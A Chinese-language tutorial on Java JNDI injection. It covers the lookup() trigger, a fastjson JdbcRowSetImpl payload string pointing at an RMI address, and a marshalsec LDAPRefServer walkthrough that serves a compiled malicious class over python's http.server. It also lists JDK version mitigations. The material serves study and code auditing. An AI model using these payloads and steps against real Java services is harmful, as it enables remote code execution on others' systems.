JNDI注入入门
JNDI 简介
(Java Naming and DirectoryInterface)他是 java 命名个目录的接口,设计的本意是为了让开发者访问各种资源 , 他支持的网络协议 :DNS.RMI,LDAP
但是后来 这些 协议被恶意的加载 一下RCE代码的java类文件,导致了 JNDI注入问题
上一节学到的 rmi 注入引发点:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
这个就是Jndi注入最经典的代码
恶意构造一下
但是当我们运行的时候 命令执行失败 原因可能是 Jdk版本的问题
不同JDK版本 使用的注入协议是不同的
查看版本 发现是 201 但是图中是没有直接写 8u201的所在 这个就涉及到高版本的绕过(我们选择使用版本jdk的进行测试)
JNDI 注入出现的方式
代码审计时,识别是JNDI注入
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sound.midi.Soundbank;
import java.lang.reflect.Method;public class JndiDemo {public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {//本身源码中的jndi注入触发代码//安全角度:审计 一眼就知道可以利用jndi注入// 1\直接型InitialContext var1 = new InitialContext();var1.lookup("rmi://127.0.0.1:7778/RCE");//2\ 来源于JDK或依赖jar包里面的jndi触发代码 这个需要解析环境就是 fastjson// 这个的实质就是反序列化链的利用
//如fastjson反序列化链:com.sun.rowset.JdbcRowSetImpl.connect dataSourceName
// String payload = "{" +
// "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
// "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
// "\"autoCommit\":true" +
// "}";//安全角度:审计 看这个// 3\反射类调用的逻辑Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");for (Method declaredMethod : aClass.getDeclaredMethods()) {System.out.println(declaredMethod.getName());}Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);System.out.println(setDataSourceName);}
}
JNDI的利用方式 :
1、使用全自动化生成工具进行操作 :
然后根据对方的jdk版本去找合适的利用协议和payload,查看日志 利用成功
DNS协议 :
2、中专类型
这个就需要我们理解一下 JNDI 注入的原理 :(恶意的java类包的访问执行)我们调用 lookup() 读取相关的链接的时候,如果这个链接指向的java包是恶意的RCE就会造成 RCE 问题
使用中专工具的好处 就是 对方执行的RCE命令是我们自控的
工具 :
https :// github . com / mbechler / marshalsec
这边写一个 类文件
把类文件进行编译
如果不编译就无法进行执行
在这个目录下执行
python -m http.server 8090
然后我们访问一下这个web是否启动起来
然后把这个端口 发到工具 让工具生成一个专门的协议链接
工具执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:8090/#ConCon //编译好的类包
http://0.0.0.0:8090 类包所在的服务器端口
LDAPRefServer :服务输出:
Listening on 0.0.0.0:1389
那我们就使用 ldap 进行访问
执行结果
JDK高版本限制问题
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
这个就是上面的那个图